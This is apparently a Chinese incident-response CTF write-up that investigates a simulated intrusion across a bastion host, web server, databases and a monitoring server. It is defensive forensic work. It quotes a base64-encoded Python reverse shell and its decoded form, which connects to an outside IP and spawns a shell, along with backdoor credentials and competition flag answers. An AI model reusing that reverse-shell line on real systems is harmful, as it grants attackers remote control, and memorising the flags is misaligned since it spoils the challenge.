第一届“帕鲁杯”应急响应wp

帕鲁杯应急响应是我做过的第一个模拟真实生产场景的应急响应题目,以往做过的都是单个靶机,这一次首次挑战具有拓扑网络结构的应急响应题,更考验综合能力以及对于各个系统的应急响应,所以写下这篇wp以作记录,下面是对于该题的描述

其网络拓扑结构如下所示

其相关资产情况如下所示

签到 提交:[堡垒机的flag标签的值]

第一题是签到题,比较简单,我们直接打开JumpServer 开源堡垒机并登录进去

找到标签列表,里面有遗留下来的flag值,故签到题的答案为

[BrYeaVj54009rDIZzu4O]

提交攻击者第一次登录时间 格式为:[2024/00/00/00:00:00]

我们查看登录日志,如下所示

LAN表示从内网登录,所以这个登录记录是最可疑的,我们直接提交本次记录的时间,可以发现是正确的

[2024/04/11 14:21:18]

提交攻击者源IP 格式为:[0.0.0.0]

查看登录日志,我们可以发现192.168.1.4是登录最多的IP地址,所以我们直接提交192.168.1.4即可

[192.168.1.4]

提交攻者使用的cve编号 格式为:[CVE-0000-0000]

由于攻击者成功登录了我们的堡垒机,所以我们去搜索一下Jumpserver的历史漏洞

我们发现CVE-2024-29201为远程RCE漏洞,所以我们猜测大概率就是用这个cve打进我们的堡垒机的,所以我们直接提交对应的编号,如下所示

[CVE-2024-29201]

提交攻击者留着web服务器上的恶意程序的32位小写md5 格式为:[xxxxxx]

由于我们没有web服务器的密码,所以这里要用到diskgenius进行内存取证,我们首先将webserver的磁盘映像复制一份出来,然后使用diskgenius打开,如下所示

这里面home文件十分可疑,我们将该文件导出到我们的主机上,然后使用Windows自带的md5加密进行计算,如下所示

故本题的flag为

[84413332e4e7138adc5d6f1f688ddd69]

分析恶意程序连接地址和密码 格式为:[md5(地址)-md5(密码)]全小写

对刚才提取出来的home文件我们执行反编译,我们使用pyinstallRE进行逆向分析,如下所示

之后再将pyc文件进行在线转py文件即可,如下所示

所以连接地址为82.157.238.111,密码为1qaz@WSX3edc,故flag为

[e695461c231aee4ed46b201efca18ff8-7da188c2e2d83e38b7d9e75e500f1af8]

提交存在反序列化漏洞的端口 格式为:[md5(端口)]

要找到反序列化漏洞的端口,我们首先登录到我的WAF上去看攻击事件,在筛选框中搜索反序列化,如下所示

所以存在反序列化漏洞的端口为8080,所以该题的flag为

[d4a973e303ec37692cc8923e3148eef7]

提交攻击者使用的后门路由地址 格式为:[md5(/api/xxx)]

我们搜索文件上传,我们可以发现攻击者上传了palu-python-flask.tar文件,我们去命令搜索关于这个文件的操作

我们发现攻击者使用docker载入,我们接着搜索docker命令,如下所示

我们可以发现后门可能在flask文件夹下,我们打开对应磁盘,寻找flask文件夹下的内容,如下所示

发现已经被删除了,那我们只能一条一条命令去搜索了,最后发现一个cat app.py,就是我们要找的后门文件

所以对应后门地址为/api/system,所以本题flag为

948c4425bad48511fd6281d345ee69a1

提交dnslog反弹域名 格式为:[md5(域名)]

我们发现该后门最后将所有的data数据保存在log.txt中,我们按照上述内存取证的方式将log.txt复制到桌面上,在log.txt里面我们可以发现对应的dnslog反弹域名

经过测试,我们可以发现0vqkht.palu.cn是我们的答案,所以本题flag为

86fedf00e173a0d531be569028fc1f6e

提交第一次扫描器使用时间 格式为:[2024/00/00/00:00:00]

我们查看log.txt,我们发现这一块时间戳是一致的,且大量进行了ls操作,符合扫描器的特征,我们将unix时间转换为现在的时间即可

所以对应的时间为2024-04-15 02:26:59

[2024-04-15 02:26:59]

提交攻击者反弹shell使用的语言 格式为:[md5(c++&java)]均为小写

我们查看日志,可以明显的发现反弹shell语句

所以使用的高级语言是python

[23eeeb4347bdd26bfc6b7ee9a3b755dd]

提交攻击者反弹shell的ip 格式为:[xxx.xxx.xxx.xxx]

我们将反弹shell语句进行base64解码

aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjgyLjE1Ny4yMzguMTc0Iiw3ODkwKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigic2giKQ==

解码如下所示

python 复制代码
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("82.157.238.174",7890));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

所以对应的IP为82.157.238.174,对应端口为7890

[82.157.238.174]

提交攻击者留下的账号 格式为:[xxxxx]

直接打开/etc/passwd文件,看里面是否有异常用户

这里面的异常用户只有palu.com,所以我们判断palu.com即为攻击者留下的账号

[palu.com]

提交攻击者的后门账户密码 格式为:[md5(password)]

我们查看shadow文件,shadow是linux存放密码的地方,但是被加密了,我们需要使用json库对其进行解密

接下来我们使用kali对其进行解密,如下所示

所以密码为123123

[4297f44b13955235245b2497399d7a93]

提交测试数据条数 格式为[md5(xxx)]

我们直接远程连接数据库服务器,如下所示

我们在user表中寻找对应的数据

我们可以发现有5条测试数据,故本题得flag为

[e4da3b7fbbce2345d7772b0674a318d5]

请提交攻击者留下的信息 格式为:[xxxx]

我们在堡垒机上输入cat,搜索cat相关内容,发现有一个cat hacktext,我们观看回放即可

flag{hi_palu_f10g}

请提交运维服务器上的恶意文件md5小写32 格式为:[xxxx]

运维服务器我们就在jumpserver上寻找即可,我们搜寻文件上传,如下所示

我们发现这个文件十分可疑,我们试着提交该文件的md5码,发现就是这个文件

所以flag为

[0fca0f847a45401c878d7a5303ddc1f8]

提交恶意文件的恶意函数 格式为:[md5(恶意函数)]

由于恶意文件是二进制文件,所以我们使用IDA进行逆向分析,如下所示

我们可疑知道文件中有如图函数,我们经过尝试提交,可疑发现恶意函数为begingame

[ddd0599cda1fc289a617db148d75383b]

请提交攻击者恶意注册的恶意用户条数 格式为:[md5(x)]

这里的恶意注册用户即其网页的恶意注册用户,我们访问一下其对应的web服务,如下所示

我们可以看到右上角有用户注册功能,所以这里的恶意注册用户应该指的是在该discuz!上恶意注册的用户,我们去对应的数据库下寻找对应的信息

所以我们去数据库对应的表上寻找即可,如下所示

我们可以发现其中kongzi出现次数很多,为恶意注册,故本题的答案为10

d3d9446802a44259755d38e6d163e820

请提交对博客系统的第一次扫描时间 格式为:[2024/00/00/00:00:00]

我们查看WAF日志,主要寻找对于192.168.20.121的攻击事件,但是我们可以发现所有的攻击事件都是针对192.168.20.123的,当时做到这里的时候我也很疑惑,后来发现192.168.20.123也是discuz!博客系统

我们发现第一次进行扫描的时间是 2024-04-16 21:03:46

这题有点奇怪,明明在 2024-04-12 21:38:50也是对80端口进行了目录扫描,不知道为什么这里认定的是4月16号才是第一次扫描

[2024-04-16 21:03:46]

提交攻击者下载的文件 格式为[xxxx.xxx]

我们查看文件传输记录即可

我觉得是这个文件,但是看了别人的WP,显示的是从论坛上下载的文件,应该是源码泄露了

获取了一个upload.zip,至于为什么是这个答案,我觉得应该是当时的比赛是分区块连贯性的,应该是和前一问有一定的联系,所以会是从web服务上获得的而不是直接从服务器上获得

[upload.zip]

请提交攻击者第一次下载的时间 格式为:[xx/Apr/2024:xx:xx:xx]

我们查看对应的访问日志,如下所示

我们可以发现最早的时间是16/Apr/2024:09:03:52

[16/Apr/2024:09:03:52]

请提交攻击者留下的冰蝎马的文件名称 格式为:[xxxx]

我们将整个网站的文件拷贝下来,放在我们本地用D盾进行扫描即可

所以文件名称为nidewen.php

[nidewen.php]

提交冰蝎的链接密码 格式为:[xxx]

我们打开文件,即可发现对应的密码

我们拿去md5解密,发现解密为nidewen

[nidewen]

提交办公区存在的恶意用户名 格式为:[xxx]

登录PC01,我们发现除了Administrator 用户还有一个hacker用户,所以恶意用户名为hacker

[hacker]

提交恶意用户密码到期时间 格式为:[xxxx]

cmd运行net user hacker,可以获取hacker用户相关信息,如下所示

[2024/5/28/21:40:37]

由于我的PC01和PC02靶机都打不开,所以后续涉及Windows的题目都没办法写,所以这里直接跳过吧,确实折腾了很久也没办法,vol始终读不出东西来,可能是磁盘损坏了

提交攻击者使用内网扫描工具的哈希 格式为:[xxxx]

最常见的内网扫描工具就是fscan了,我们直接搜索是否有fscan命令的执行即可,如下所示

所以这里的内网扫描工具就是fscan,我们试着去寻找该软件存放位置,并计算md5值,我们通过观看历史命令,可以发现fscan在bin目录中

导出到本地计算md5值即可

[1facdcd05c43ba4d37274dffc90b6d4e]

请提交攻击者在站点上留下的后门密码 格式为:[xxxx]

我们可以看到这里的所有攻击事件都是以123作为传参密码的,所以攻击者的后门密码为123

123

请提交攻击者在数据库留下的信息 格式为:[xxxx]

我们直接远程连接数据库,在数据库里面查找相关信息

经过细致的排查,可以找到隐藏在数据库的flag值

flag{hack_palu}

提交攻击者在监控服务器上留下的dcnlog地址 格式为:[xxx.xx.xx]

我们的监控服务器就是zabbix服务器,对应的就是我们的mysql2数据库,我们先试着找一找zabbix服务器的登录账号密码

我们成功的在数据库里找到了登录的账号密码,但是密码被加密了,因为显示的username是默认用户名,所以我们尝试一下密码是不是默认密码即可,默认密码是zabbix,我们发现可以成功登录,登录进去后我们可以在脚本那一列发现攻击者ping了一个dns地址

[palu.dcnlog.cn]

提交监控服务器上恶意用户的上一次登录时间 格式为:[xx/xx/xx/xx:xx:xx]

同样去审计日志,寻找最后一次登录时间

[2024-04-17 01:32:44]

提交监控服务器上遗留的反弹shell地址和端口 格式为:[xxxx:xx]

我们在脚本列发现了一串可疑的base64序列,我们拿去解码,结果如下所示

[154.183.110.12:7890]
相关推荐
走,我们去吹风31 分钟前
redis实现分布式锁,go实现完整code
redis·分布式·golang
Ivanqhz2 小时前
Spark RDD
大数据·分布式·spark
黑龙江亿林等级保护测评2 小时前
做等保二级备案需要准备哪些材料
网络·安全·金融·智能路由器·ddos
星海幻影3 小时前
网络安全知识见闻终章 ?
网络·安全·web安全
kinlon.liu3 小时前
安全日志记录的重要性
服务器·网络·安全·安全架构·1024程序员节
马戏团小丑3 小时前
fastjson/jackson对getter,setter和constructor的区分
java·安全
hanniuniu134 小时前
动态威胁场景下赋能企业安全,F5推出BIG-IP Next Web应用防火墙
网络协议·tcp/ip·安全
Gnevergiveup5 小时前
源鲁杯2024赛题复现Web Misc部分WP
安全·网络安全·ctf·misc